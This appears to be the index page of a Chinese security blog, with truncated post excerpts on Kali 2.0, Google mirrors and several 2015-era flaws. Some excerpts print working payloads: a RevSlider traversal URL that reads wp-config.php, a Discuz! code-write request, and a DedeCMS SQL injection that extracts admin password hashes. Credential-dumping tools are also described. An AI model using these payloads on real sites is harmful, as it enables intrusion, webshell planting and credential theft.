Kali2.0 正式发布
Kali 2.0昨天已经在BlackHat 2015 USA上正式发布了。无论是粉丝们还是Kali官方都对这个2.0版本抱有极大的期待和热情。这是第一个基于Debian Jessie的Kali版本，此次升级最大的特点就是系统界面的设计理念更加先进，以及系统的升级方式变为滚动升级。 官方的Kali2.0介绍 1.将会保持滚动升级。 这是Kali 2.0最重要的更新，滚动升级的方式将会保证Debian...
Google 镜像站
转载自itechzero 2015.7.19 更新。新增谷歌学术列表！ 原版： https://guge.io/ https://goge.ml/ https://g.zyz.me/ https://g.wen.lu/ https://gg.avpn.cc/ https://cc.rrke.cc/ https://www.ko50.com/ https://g4w.me/ https://s.bt...
PHP任意文件上传漏洞
漏洞细节: 这个漏洞存在于php中一个非常常用的函数中：move_uploaded_files，开发者总是用这个函数来移动上传的文件,这个函数会检查被上传的文件是否是一个合法的文件(是否是通过 HTTP 的 post 机制上传的)，如果是合法的文件，则将它一定到指定目录中。 例子： move_uploaded_file ( string $filename , string $destinati...
WordPress幻灯片插件RevSlider漏洞利用
任意读取： /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php 任意上传： #!/usr/bin/perl # # Title: Slider Revolution/Showbiz Pro shell upload exploit # Author: Simo Ben yousse...
IIS最新高危漏洞POC及在线检测源码-CVE-2015-1635-MS15-034
HTTP.sys远程执行代码漏洞（CVE-2015-1635，MS15-034） 远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中，当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。https://technet.microsoft.com/zh-cn/library/security/MS1...
全球黑客势力分布实时监控之数据可视化
也许互联网比我们想象的更加不安全，当今世界几乎无时不刻在发生着大大小小的黑客攻击事件。Norse是一家互联网安全服务商，如本文导图所示，它通过数据可视化的方式将全球各地黑客攻击行为动态地显示在地图上，直观的显示全球网络攻击行为的发起地点和目标地点。 此外它还提供相关数据的统计，比如攻击发起数量的国家排行，受攻击数量国家排行，以及攻击类型的排行，可以看到数据显示发起地前三位分别是：中国，美国和香港，...
Discuz!X系列转换工具任意代码写入漏洞 getshell
有些论坛 可能路径放在其它目录 没有utility 直接convert等 如果看到 转换程序的 data/ 目录不可写 就不用试了 不成功 http://webshell.cc/utility/convert/index.php?a=config&source=d7.2_x2.0 post提交： a=config&source=d7.2_x2.0&submit=yes&newconfig%5bta...
DedeCMS 20140201 之前的5.7通杀
无需注册会员账号： Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=' or mid=@`'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,...
Quarks PwDump各种32位64系统获取HASH
Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具，它可以抓取windows平台下多种类型的用户凭据，包括：本地帐户、域帐户、缓存的域帐户和Bitlocker。作者开发这个工具的原因是现在没有一款工具能同时抓取所有类型的hash和Bitlocker信息。这个工具没有注入任何进程，工作原理是神马呢，源代码值得读一下。 它目前可以导出 : – Local accounts N...
Adminer 适合扒裤子的mysql工具
Adminer是一个类似于phpMyAdmin的MySQL管理客户端。整个程序只有一个PHP文件，易于使用和安装。Adminer支持多语言（已自 带11种翻译语言文件，可以按自己的需求翻译相应的语言）。支持PHP4.3+，MySQL 4.1+以上的版本。 提供的功能包括： 1：创建，修改，删除索引/外键/视图/存储过程和函数。 2：查询，合计，排序数据。 3：新增/修改/删除记录。 4：支持所有数...